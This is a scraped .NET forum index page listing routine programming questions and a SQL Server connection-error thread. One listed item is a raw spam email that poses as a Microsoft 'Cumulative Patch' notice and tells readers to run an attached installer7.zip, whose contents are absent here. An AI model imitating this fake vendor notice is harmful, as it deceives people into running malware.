 |
|
Index ‹ DotNet ‹ Visual C#.Net
|
- Previous
- 1
- Dotnet >> ZIP in .NETHi..
My coleagues-programmers are coping with a problem. We want to find a way
to export our project (folder structure) into a single file.
We tought ZIP would be suitable for also utilizing a light compression.
Is there any free code or free library for C# that would support this
zipping, but including spanning, in case the date exceedes 2 GBs?
It must support the spanning. Withuout it, it is meaningless.
Thanks,
Kris
- 2
- Net Framework >> line control in VStudio.NETLooking for the good ol' Line Control in Visual Studio.NET that earlier used
to be part of the standard toolbox in VB6.
Any suggestions.
If there is no such control in VS.NET can anyone recommend a good way to
draw lines on WinForms.
thanks,
-paul
- 3
- Microsoft Project >> Need Guidelines on Quaotation or Quotation Examplehi !!..
I m a student and am given the assignment to prepare a project plan and have to submit a quotation alongwith it. Please help me out with this. I would like ot havea Quotation sample so that i can refer to it while preparing for my own project . Please hurry as i have only few days left for my assignment submission
- 4
- ADO >> Jet database engine could not find the object 'Expr...'I have been connecting to MS-Access database using Jet 4.0
from C#.NET. My application works finely on my computer on which I've
made the application.
But I observed a strange behavior. When I run my application on other
computer that is installed .NET Framework, I get the following error
"System.Data.OleDb.OleDbException: The Microsoft Jet
database engine could not find the object 'Expr1007'.
Make sure the object exists and that you spell its name
and the path name correctly.".
When I open Access mdb in the UI and paste the query string into the
SQL window of the query designer and executes it, I get no error, the
query results correct rows. I do this test on both other and my
computer.
What's the solution?
Thanks in advance
... Orgil
- 5
- Visual C#.Net >> can't see datagrid when running vs.net projectI can't see my datagrid when I run it from my project in
VisualStudio.net, but when I work with it locally thru
http://localhost/myproject/mydgrid.aspx, it works fine.:
datagrid coding:
//////////////////////////////
<asp:datagrid id="dgboard" Showfooter="true" BorderColor="#e5ecf9"
runat="server" AutoGenerateColumns="false" Font-Name="verdana"
Font-Size="smaller">
<HeaderStyle BackColor="#000000" ForeColor="#FFFFFF"/>
<FooterStyle BackColor="#e5ecf9" ForeColor="#000000"/>
<AlternatingItemStyle BackColor="#C0C0C0" />
<Columns>
<asp:BoundColumn
DataField="SalesRep_ID"
HeaderText="Rep ID"
ReadOnly="true">
</asp:BoundColumn>
<asp:BoundColumn
DataField="Deal_ID"
HeaderText="Deal ID">
</asp:BoundColumn>
<asp:BoundColumn
DataField="BoardDate"
DataFormatString="{0:d}"
HeaderText="Deal Date">
</asp:BoundColumn>
<asp:BoundColumn
DataField="lname"
HeaderText="Rep Last Name">
</asp:BoundColumn>
<asp:BoundColumn
DataField="dollars"
DataFormatString="{0:C}"
HeaderText="Amount$"
</asp:BoundColumn>
</Columns>
</asp:datagrid>
//////////////////////////
CODEBEHIND :
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
namespace SportsMgrProject
{
/// <summary>
/// Summary description for btresults1.
/// </summary>
public class btresults1 : System.Web.UI.Page
{
protected System.Web.UI.WebControls.HyperLink HyperLink1;
protected System.Web.UI.WebControls.HyperLink HyperLink2;
protected System.Web.UI.WebControls.DataGrid dgboard;
protected System.Web.UI.WebControls.HyperLink HyperLink3;
protected System.Web.UI.WebControls.HyperLink HyperLink4;
private void Page_Load(object sender, System.EventArgs e)
{
// Put user code to initialize the page here
}
#region Web Form Designer generated code
override protected void OnInit(EventArgs e)
{
//
// CODEGEN: This call is required by the ASP.NET Web Form Designer.
//
InitializeComponent();
base.OnInit(e);
}
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.Load += new System.EventHandler(this.Page_Load);
}
#endregion
}
}
/////////////////////////
Thanks
Chumley
- 6
- Microsoft Project >> messy gantt charts and ordering tasksHi,
with projects with a large number of linked tasks it can quickly become a
mess in the Gantt chart, as task orders are changed and added. I know it is
possible to fix this by clicking on the task and moving it up or down the
sheet, but this can become tedious with so many tasks. Is there any faster
way to do this?
Kind Regards
- 7
- Net Framework >> dynamically determine .net baseframework version of exe or dllHi All,
Whether in a Winform application (.exe) or a .Net assembly (.dll), is there
a way to determine what version of the .net baseframework the run-time
module (i.e. exe or dll) was loaded with (is using)? Seems that using
reflection this is possible...just can't seem to figure out what
classes/instances will get me there. Thanks in advance!
Tony
- 8
- Dotnet >> event handlerPlease help.
My bread is at stake.
How do i know if a event has a handler associated with it?.
I dont want to keep counters myself.
Please , if any reader can reply, sedn a direct reply mail also to
shunya@vsnl.com
Mahesh Naik
- 9
- Dotnet >> c# lesson for c++ developersI was sitting on my porch reading 'c# Class Design' from WROX press and i
thought this paragraph was interesting:
______
Where reference types are concerned, C++ developers will need to get used to
not thinking in terms of pointers. Although this is more-or-less what
happens behind the scenes, the CRL moves objects around on the managed heap
and adjusts references on the fly while the application is running. SInce
we don't notice this at run time and it's no obvious from the source code,
it confuses matters if you mentally try to tranlate between c# and c++ as
you write.
_____
This to me shows what a radical break there is between c++ and c# and how
being a c++ *guru* can be a real detriment to learning c#.
--
W '04 <:> Open
- 10
- Net Framework >> switch between local and remote (web) Business LogicHi Everyone,
i need some ideas for the following problem:
I am developing a three tier architecture. The client should be
implemented in WPF to be able to easily port the application to a web
application later on.
The Business and Data Tier should be easily portable from local
computer to a remote one somewhere on the web. So the only possible
Link between Client and Business Logic would be a Webservice, wouldn't
it?? In the local scenario I don't want to use a Webservice but only
the usual construct of interfaces to connect the layers.
What would be the best approach here ? Maybe you guys could push me
into some direction ??
I thought of implementing a second Assembly on the client which on one
side the client connects to, to send and receive it's data and which
can on the other side be configured easily to use either local
connection or the remote Webservice connection.
Thanks,
Oliver
- 11
- 12
- Dotnet >> Implementing Interfacehi all,
How to implement an interface in ASP.Net?.
Consider my interface name is IExample. Then whatz mean by
IExample ie = (IExample)obj1
Kindly let me know about this implementing interface in detail.
Thanks in advance.
Regards,
Gomathi
- 13
- Dotnet >> Try security pack from M$ Corporation--wgqkxeticr
Content-Type: multipart/related; boundary="cihusivlwdlcobxdg";
type="multipart/alternative"
--cihusivlwdlcobxdg
Content-Type: multipart/alternative; boundary="hpgzorggfxcqp"
--hpgzorggfxcqp
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
MS Customer
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your computer.
This update includes the functionality =
of all previously released patches.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2003 Microsoft Corporation.
--hpgzorggfxcqp
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:syifgmr" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
MS Customer<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your computer.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" =
TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A>
</FONT></B>
</TD>
</TR>
<TR VALIGN=3D"MIDDLE">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1">
©2003 Microsoft Corporation. All rights reserved.
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>
|
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/privacy.htm" TARGET=3D"_top">
Privacy Statement</A> |
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
enable/" TARGET=3D"_top">Accessibility</A>
</FONT>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
--hpgzorggfxcqp--
--cihusivlwdlcobxdg
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <syifgmr>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z
3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk
3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt
9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx
/+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r
9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV
606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGhoKGhv7///Dx8V2alqvm4Zni1YPRvx5uVwyO
X0q2hLTvw8X10gx2H4PXkkuoV5zkoQeADZu7mmzIVEO7HIXbaGfLMPz8+97d2/Px7v///+bl5eHg
4P7+/v39/fT09PLy8u7u7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAaAA7AAAI/gCVCRxI
sKDBgwgTKlzIsKHDhxAjKgwiqs2kSJEgQfqyp2PHLxoxTmojSpTEkyglBrGYcU+el3n09PEDSFKg
mzclAfLTRw/MPV4gjTSZsmhRURchuXwUs88fSYIGubEiqyqAq1gBNLPiRlCgPz197tE4MojRswuD
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
--cihusivlwdlcobxdg
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <ifoqwkk>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--cihusivlwdlcobxdg--
--wgqkxeticr
Content-Type: application/x-compressed; name="installer7.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--wgqkxeticr--
- 14
- Visual C#.Net >> Persisting the properties of a nested control at design timeI have a progress bar which is nested control and I want to persist
the design time properties of this nested control. I thought all I
needed to do was mark it with the
DesignerSerializationVisibility.Content attribute, as below:
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public ProgressBar ProgressBar
{
get{return _progressBar;}
set{_progressBar = value;}
}
but for some reason the properies are not being persisted (eg value),
has anyone got any ideas of how to do this?
thanks
andrew
www.vbusers.com
- 15
- Visual C#.Net >> InsertCommand???Hi,
I am running an insert statement into an access database, but i don't want
to add information to every column in my table... when i run my
insertcommand the following exception is thrown...
"Number of query values and Destination fields are not the same"...
How do i stop it from caring wether i insert a record for all my fields or
just one? and the fields that i am missing out are not required so i don't
understand the problem??
Any help would be appreciated.
Regards
Darryn
|
| Author |
Message |
MAPCorp
|
 Posted: Mon Jan 08 14:50:22 CST 2007 |
Top |
Visual C#.Net >> Sql Server 2005 problem
Hi,
Every once in a while, users get the following error from my
application:
System.Data.SqlClient.SqlException: A transport-level error has
occurred when receiving results from the server. (provider: TCP
Provider, error: 0 - The specified network name is no longer
available.)
at System.Data.SqlClient.SqlConnection.OnError(SqlException
exception, Boolean breakConnection)
at System.Data.SqlClient.SqlInternalConnection.OnError(SqlException
exception, Boolean breakConnection)
at
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject
stateObj)
at
System.Data.SqlClient.TdsParserStateObject.ReadSniError(TdsParserStateObject
stateObj, UInt32 error)
at System.Data.SqlClient.TdsParserStateObject.ReadSni(DbAsyncResult
asyncResult, TdsParserStateObject stateObj)
at System.Data.SqlClient.TdsParserStateObject.ReadPacket(Int32
bytesExpected)
at System.Data.SqlClient.TdsParserStateObject.ReadBuffer()
at System.Data.SqlClient.TdsParserStateObject.ReadByte()
at System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior,
SqlCommand cmdHandler, SqlDataReader dataStream,
BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj)
at System.Data.SqlClient.SqlDataReader.ConsumeMetaData()
at System.Data.SqlClient.SqlDataReader.get_MetaData()
at
System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds,
RunBehavior runBehavior, String resetOptionsString)
at
System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean
async)
at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String
method, DbAsyncResult result)
at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String
method)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior
behavior, String method)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior
behavior)
It usually is in a background thread which polls the database every 30
seconds, but it's happened when they were actually saving data in my
application as well. Once, the server disappeared for a minute. Any
idea what might be causing this problem? We're not having any power /
router problems.
Andy
DotNet143
|
| |
|
| |
|
Rad
|
| Posted: Mon Jan 08 14:50:22 CST 2007 |
Top |
Visual C#.Net >> Sql Server 2005 problem
On 8 Jan 2007 09:28:32 -0800, Andy wrote:
> Hi,
>
> Every once in a while, users get the following error from my
> application:
>
> System.Data.SqlClient.SqlException: A transport-level error has
> occurred when receiving results from the server. (provider: TCP
> Provider, error: 0 - The specified network name is no longer
> available.)
> at System.Data.SqlClient.SqlConnection.OnError(SqlException
> exception, Boolean breakConnection)
> at System.Data.SqlClient.SqlInternalConnection.OnError(SqlException
> exception, Boolean breakConnection)
> at
> System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject
> stateObj)
> at
> System.Data.SqlClient.TdsParserStateObject.ReadSniError(TdsParserStateObject
> stateObj, UInt32 error)
> at System.Data.SqlClient.TdsParserStateObject.ReadSni(DbAsyncResult
> asyncResult, TdsParserStateObject stateObj)
> at System.Data.SqlClient.TdsParserStateObject.ReadPacket(Int32
> bytesExpected)
> at System.Data.SqlClient.TdsParserStateObject.ReadBuffer()
> at System.Data.SqlClient.TdsParserStateObject.ReadByte()
> at System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior,
> SqlCommand cmdHandler, SqlDataReader dataStream,
> BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj)
> at System.Data.SqlClient.SqlDataReader.ConsumeMetaData()
> at System.Data.SqlClient.SqlDataReader.get_MetaData()
> at
> System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds,
> RunBehavior runBehavior, String resetOptionsString)
> at
> System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior
> cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean
> async)
> at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
> cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String
> method, DbAsyncResult result)
> at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
> cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String
> method)
> at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior
> behavior, String method)
> at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior
> behavior)
>
> It usually is in a background thread which polls the database every 30
> seconds, but it's happened when they were actually saving data in my
> application as well. Once, the server disappeared for a minute. Any
> idea what might be causing this problem? We're not having any power /
> router problems.
>
> Andy
Could be a problem with your DNS ... Had a problem like that some time
back.
--
Bits.Bytes
http://bytes.thinkersroom.com
|
| |
|
| |
|
| |
|
Index ‹ DotNet ‹ Visual C#.Net |
- Next
- 1
- Visual C#.Net >> Setting the resolutionWe have a product that is running as a kiosk. Occasionaly, some yahoo goes
in and screws with the screen resolution. Is there some way I can force it
back to a resolution that I know works?
TIA - Jeff.
- 2
- Net Framework >> issue about output parameterHi everyone
In real work,some functions have output parameter,it is not necessary for the calling procedure to pass in a parameter that contain non-null value,so a programmer hope passing in a object variable and get back the output value
